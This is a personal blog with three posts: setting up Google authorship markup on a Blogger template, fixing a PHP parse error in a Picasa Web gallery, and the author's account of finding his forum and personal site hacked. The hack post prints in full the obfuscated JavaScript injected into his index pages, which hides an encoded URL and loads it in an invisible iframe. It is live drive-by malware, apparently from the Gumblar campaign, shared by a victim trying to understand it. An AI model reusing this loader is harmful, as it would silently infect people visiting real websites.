Getting the cute profile picture in Google search results

Looking for something this morning and I noticed peoples picture appearing next to some searches :

Some random person

Apparently easy. Well the first part was, getting a full sign off on the webmaster snippets testing tool took a fair amount of reading.

You need :

1. Website, Blog, or I think pretty much anything online would work as long as you can edit the code
2. Google profile

Your going to create a link between those two things which Google magic uses to look you up in searches that hit your content.

On your site/blog create a link to your Google profile :

Your profile url will be something like : https://plus.google.com/102726977217362443519

NB// the rel="author" is the super important bit.

I already had a Google+ link (top left) on my blog so just added the rel="author"




Next step is to edit your Google profile so that it includes a link to the site you just added the link on.


Running the snippet test tool against this blog gave me a single error :

Warning: Missing required field "updated".

4 hours later and much reading I came across this which talks about enabling your blog for hatom, part of the microformats initiative - and way out of the scope for this post.



The pertinent part for me was the class='timestamp-link' section with the class 'updated'. And the part missing from my blogger template.


Edit the design of your template and go into raw edit HTML, enable the widget check box and then search for the text 'timestamp-link'.


In my template there were two entries. Add 'updated' to the class. Save and re-run the snippet test, you should be good.

<a class='timestamp-link updated' expr:href='data:post.url' rel='bookmark' title='permanent link'><abbr class='published' expr:title='data:post.timestampISO8601'><data:post.timestamp/></abbr></a>

So now you wait <insert Google time> until they get around to crawling the site and updated the index.

Dynamic web page to display Picasa Web Albums

For a while now I've been uploading my vacation photos to the paulregan.co.uk site, in fact that's how it started.  Parents and friends wanting to see the recorded history of our  vacations ..


I've been using JAlbum with the Foto player template.  Which is great and worked really well.  Its slightly laborious to create a new folder but for the 3-4 times a year I needed it worked fine.


I then got hooked on photography and wanted to be able to upload some of my (in my opinion) better shots to the site.  JAlbum was too slow to just throw one or two shots up.  I needed something more dynamic.


I'd been using Picasa & Picasa Web Albums for a while which was a snap to sync between an album on the PC/MAC and the Picasa Web cloud.  Picasa does have a html generating tool with some funky templates but that was more the JAlbum model which I didn't want. 


If only Picasa Web had a pretty embed display, something like the lightbox or zoombox scripts .. before you comment picasa does, your right, it does but its pretty nasty.


I stumbled across www.paulvanroekel.nl ... He writes templates for both Picasa.  And more importantly for Picasa web !  The php code pulls the pictures from all or a designated online album.  Update your album, you site dynamically updates the changes.


Pick the template, download, tweak the config and upload to your site.  Simples.  Almost.


Not sure what causes it, maybe my providers PHP version.  But the template files are all .php.  trying to open them on the web caused :




Parse error: syntax error, unexpected T_OBJECT_OPERATOR, expecting ',' or ';' in /home/users/web4831/html/paulregan.co.uk/gallery/index.php on line 97 




Some quick googling had me change the extension from php to php5 - job done


paulregan.co.uk/gallery/index.php5

My websites been hacked !

I run a forum www.bvra.org.uk and a personal site www.paulregan.co.uk.

Last night someone posted on the forum that Google had flagged the site as dangerous and a follow post that Kaspersky was reporting a trojan - Trojan.JS.Iframe.nk

What !, my forum, no way .. I tried a few things and my AV (Mcafee) didnt complain.  Odd, check the date time on the files and low and behold the index.* (htm, html, php) files had been changed 2 days ago .. not by me.

<body><script>
var I={j:{I:{I:'~',l:'.',j:'^'},l:{I:'%',l:218915,j:1154%256},j:{I:1^0,l:55,j:'ijl'}},I:{I:{I:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=I.I.I.I(I.l.I.I('.75.67.67.63.3a.2f.2f.31.31.33.2e.31.31.2e.31.39.34.2e.31.37.37.2f.75.67.71.62.70.66.2f.74.6e.67.72.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.67.72.7a.63.79.6e.67.72.66.61.72.6a.66'));var j=(l)?I.I.I.l():false;return j;}},l:{I:function(){var l=I.I.I.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=I.I.j.j(I.I.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=I.I.j.I(I.I.l.I());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{I:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return I.I.j.I(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{I:{I:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'21',j:'16'},l:{I:'50',l:'85',j:'81'},j:{I:'55',l:'85',j:'57'}}}
I.I.l.j();</script>

Had been added to both the forum and my personal site index files.  A strange file templatesnews.php had also been uploaded at the same time.

Anyone know what that code does ? ..

Cleaned the files up and locked FTP, even though I had a stupidly complex password.

I've emailed the hosting company, as I suspected something wider.  They got back to me and told me mine where the only sites - look for Gumblar.

Now last weekend my home PC started to act up, Firefox and Chrome would both crash, actually come to think of it the two sites I always rely on for testing are mine.  That explains it ! .. A quick google and it appears Grumblar can get saved password from CoreFTP which I use, it then inserts code to spread itself.  

Bugger, and I work in IT ! .. My machine runs upto date AV, Spyware, Firewall & Windows updates. How the hell did this get in ..

Props to virtualnames.co.uk who quickly restored my site from backups and I've since disabled FTP and changed the passwords again.


Now to make sure this b'stard thing has'nt infected my since rebuilt OS.